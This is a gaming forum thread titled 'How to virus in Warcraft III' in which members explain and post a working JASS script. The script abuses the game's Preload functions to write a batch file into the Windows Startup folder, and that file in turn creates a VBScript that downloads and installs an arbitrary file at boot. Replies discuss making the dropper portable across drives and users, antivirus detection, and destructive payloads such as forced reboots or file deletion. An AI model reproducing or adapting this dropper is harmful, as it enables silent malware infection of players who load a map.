How to virus in Warcraft III

Laiev

Hey Listen!!
Reaction score
188
Oo why a hacker are editing a game script?

is better get a newgame and *pãn pãn*
 

mylemonblue

You can change this now in User CP.
Reaction score
7
The fact you bothered to retaliate with such a comment implies someone does care :p
 

D4RK_G4ND4LF

New Member
Reaction score
1
just made an account to congratulate you for this
badass bug
got a compile error (win 7 64 bit) but the myvirus.bat was created

how does it work btw?
 

Jesus4Lyf

Good Idea™
Reaction score
397
just made an account to congratulate you for this
badass bug
got a compile error (win 7 64 bit) but the myvirus.bat was created

how does it work btw?
JASS:
//..
    call PreloadGenClear() // this line and the line below start writing a JASS function to preload models
    call PreloadGenStart()
    call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//") // this line, and all other "Preload(...)" lines add a line to preload a "model" to that function. Instead, we add a new line and put some batch script in.
    // batch scripts ignore syntax errors, so it will ignore the jass syntax and execute the echo/start lines. I use it to write a VB script to download a file and put it in your startup. You could do anything, though.
    // ...
    call PreloadGenEnd("C:\\Users\\YOURUSERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat") // this ends the list, and saves it to Start > Programs > Startup, and windows automatically runs everything there. my batch script makes a vbs script with echo, and then runs it, that script then downloads the specified file here. hooray!!

There's yer explanation, and that's why WC3 should never be able to write to a file. The vulnerability is the fact that WC3 can do that, in essence. :)
The script is executed from W3 and downloads viruses from the internets.
The JASS script is executed in WC3 and makes the batch script. The batch script is executed on boot and creates the vbs script. The vbs script is executed by the batch script and downloads the file. The downloaded file runs from then on, on startup. :)
 

Laiev

Hey Listen!!
Reaction score
188
what happen if you hardly restart your PC when you're downloading something Sev? :p
 

Sevion

The DIY Ninja
Reaction score
413
I'm not sure I know what you mean. What I mean is that since I hardly restart my PC, the startup programs are hardly run (started).
 

Gwafu

Active Member
Reaction score
12
So, these could be used to download anything to the player's computer? Great, could use it with .slks :3
 

cano

New Member
Reaction score
0
Do I have to have local files enabled for it to work?

Edit: The file is created if its extension is not *.bat or *.exe. For a while I was able to create bat files and for whatever reason it was after I removed this line:
JASS:
call Preload("\")\n\necho objFSO.DeleteFile \"C:\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
Which is quite ridiculous.

And while the idea of using startup is pretty nice, It's hard to believe that this fairly simple exploit is made public for the first time 8 years after release of the game. o.o

Edit 2: Turning off Avast helped. :(
 

Accname

2D-Graphics enthusiast
Reaction score
1,463
@Jesus4Lyf:
if my windows aint installed on the harddrive C but on D it wouldnt work i guess, right?
 

cano

New Member
Reaction score
0
@Jesus4Lyf:
if my windows aint installed on the harddrive C but on D it wouldnt work i guess, right?
You can make it work, obviously. Just change all the paths accordingly, e.g.:
JASS:
call PreloadGenEnd("D:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\myvirus.bat")

Inside the *.bat file you can use environment variables like %SystemDrive% (which returns letter of your system drive, in your case D:).

Anyway, what is the purpose of this part:
JASS:
 call PreloadGenClear()
    call PreloadGenStart()
    call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objXMLHTTP.open \"GET\", \""+url+"\", false >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objXMLHTTP.send() >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho If objXMLHTTP.Status = 200 Then >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho Set objADOStream = CreateObject(\"ADODB.Stream\") >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Open >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Type = 1 >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Write objXMLHTTP.ResponseBody >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Position = 0 >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho If objFSO.Fileexists(\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\") Then objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.SaveToFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Close >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho End if >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objFSO.DeleteFile \"%TEMP%\\download.vbs\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\nstart %TEMP%\\download.vbs\n//")
    call PreloadGenEnd("C:\\Users\\YOURUSERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat")
Why can't you just do it for All Users?
 

Accname

2D-Graphics enthusiast
Reaction score
1,463
@Cano:
that i know myself. the point is somebody who made this map will not change the script code just especially for me shortly before i download the map. you get it?

i mean, if someone is seriously trying to spread a virus through some wc3 map and i download and start the map and my windows is on an other harddrive then C the code inside wouldnt work? or not?
will it crash? will it create the folders on my other harddrive? or what will happen?

Edit:
Just tested it myself. it will create these folders on the harddrive C. however, obviously nothing will happen when rebooting.
 

DioD

New Member
Reaction score
57
its possible to use

%systemdrive%

and

%username%

making code compatable with any windows on any HDD.

also you may create harmfull script to reboot PC instantly (or after random time) or remove valuble files from windows, but most players play 1-5 maps all time, its dangerous only if icefrog inject this to dota (or any similar map virused by author)
 

UnknowVector

I come from the net ... My format, Vector.
Reaction score
144
It's shell access with the current user's privileges; on windows that probably means administrator. It doesn't really matter how your hard drive is set up, your screwed.
 

cano

New Member
Reaction score
0
@Cano:
that i know myself. the point is somebody who made this map will not change the script code just especially for me shortly before i download the map. you get it?
...
Just create the *.bat files on C:,D:,E: or whatever you assume to be system directory and for all other use %systemdrive%. Now, do you get it?

And I am the only one who gets this completely nullified by antivirus?
Trying to sneak an *.exe file causes Avast to alert too. Which obviously doesn't mean that this issue shouldn't be addressed by Blizzard. The danger is WAY higher than it used to be in case of possibility of executing arbitrary code through type casting, just because it can be done by literally everyone and the possibilities are greater.
 

Accname

2D-Graphics enthusiast
Reaction score
1,463
...
Just create the *.bat files on C:,D:,E: or whatever you assume to be system directory and for all other use %systemdrive%. Now, do you get it?

And I am the only one who gets this completely nullified by antivirus?
Trying to sneak an *.exe file causes Avast to alert too. Which obviously doesn't mean that this issue shouldn't be addressed by Blizzard. The danger is WAY higher than it used to be in case of possibility of executing arbitrary code through type casting, just because it can be done by literally everyone and the possibilities are greater.

i think you dont really get what i was talking about.
if this is supposed to be a kind of "virus" then it shouldnt be my task to make it fit my computer. most probably someone else would make that virus map and try to spread it over the internet, for example to me. and hence he doesnt know on which harddrive windows is installed for me he wouldnt change C to D only to hit me you know? he doesnt think, "hmmm Accname doesnt have windows on C but on D, i should change the map shortly before he downloads and plays it to kick his ass" and i most probably wouldnt try to virus my own computer either.

of course, if what DioD said works then it isnt neccassary at all.
 

Laiev

Hey Listen!!
Reaction score
188
If I'm not wrong, Accname are saying if someone know that he'll get the map, the creator of that map which have virus don't will change the script to fit the Accname computer, will fit the most 'common' type of computer, windows in C: and username Default (really, noone use this username lol)
 
General chit-chat
Help Users
  • Monovertex Monovertex:
    How are you all? :D
    +1
  • Ghan Ghan:
    Howdy
  • Ghan Ghan:
    Still lurking
    +3
  • The Helper The Helper:
    I am great and it is fantastic to see you my friend!
    +1
  • The Helper The Helper:
    If you are new to the site please check out the Recipe and Food Forum https://www.thehelper.net/forums/recipes-and-food.220/
  • Monovertex Monovertex:
    How come you're so into recipes lately? Never saw this much interest in this topic in the old days of TH.net
  • Monovertex Monovertex:
    Hmm, how do I change my signature?
  • tom_mai78101 tom_mai78101:
    Signatures can be edit in your account profile. As for the old stuffs, I'm thinking it's because Blizzard is now under Microsoft, and because of Microsoft Xbox going the way it is, it's dreadful.
  • The Helper The Helper:
    I am not big on the recipes I am just promoting them - I use the site as a practice place promoting stuff
    +2
  • Monovertex Monovertex:
    @tom_mai78101 I must be blind. If I go on my profile I don't see any area to edit the signature; If I go to account details (settings) I don't see any signature area either.
  • The Helper The Helper:
    You can get there if you click the bell icon (alerts) and choose preferences from the bottom, signature will be in the menu on the left there https://www.thehelper.net/account/preferences
  • The Helper The Helper:
    I think I need to split the Sci/Tech news forum into 2 one for Science and one for Tech but I am hating all the moving of posts I would have to do
  • The Helper The Helper:
    What is up Old Mountain Shadow?
  • The Helper The Helper:
    Happy Thursday!
  • Varine Varine:
    Crazy how much 3d printing has come in the last few years. Sad that it's not as easily modifiable though
  • Varine Varine:
    I bought an Ender 3 during the pandemic and tinkered with it all the time. Just bought a Sovol, not as easy. I'm trying to make it use a different nozzle because I have a fuck ton of Volcanos, and they use what is basically a modified volcano that is just a smidge longer, and almost every part on this thing needs to be redone to make it work
  • Varine Varine:
    Luckily I have a 3d printer for that, I guess. But it's ridiculous. The regular volcanos are 21mm, these Sovol versions are about 23.5mm
  • Varine Varine:
    So, 2.5mm longer. But the thing that measures the bed is about 1.5mm above the nozzle, so if I swap it with a volcano then I'm 1mm behind it. So cool, new bracket to swap that, but THEN the fan shroud to direct air at the part is ALSO going to be .5mm to low, and so I need to redo that, but by doing that it is a little bit off where it should be blowing and it's throwing it at the heating block instead of the part, and fuck man
  • Varine Varine:
    I didn't realize they designed this entire thing to NOT be modded. I would have just got a fucking Bambu if I knew that, the whole point was I could fuck with this. And no one else makes shit for Sovol so I have to go through them, and they have... interesting pricing models. So I have a new extruder altogether that I'm taking apart and going to just design a whole new one to use my nozzles. Dumb design.
  • Varine Varine:
    Can't just buy a new heatblock, you need to get a whole hotend - so block, heater cartridge, thermistor, heatbreak, and nozzle. And they put this fucking paste in there so I can't take the thermistor or cartridge out with any ease, that's 30 dollars. Or you can get the whole extrudor with the direct driver AND that heatblock for like 50, but you still can't get any of it to come apart
  • Varine Varine:
    Partsbuilt has individual parts I found but they're expensive. I think I can get bits swapped around and make this work with generic shit though

      The Helper Discord

      Staff online

      Members online

      Affiliates

      Hive Workshop NUON Dome World Editor Tutorials

      Network Sponsors

      Apex Steel Pipe - Buys and sells Steel Pipe.
      Top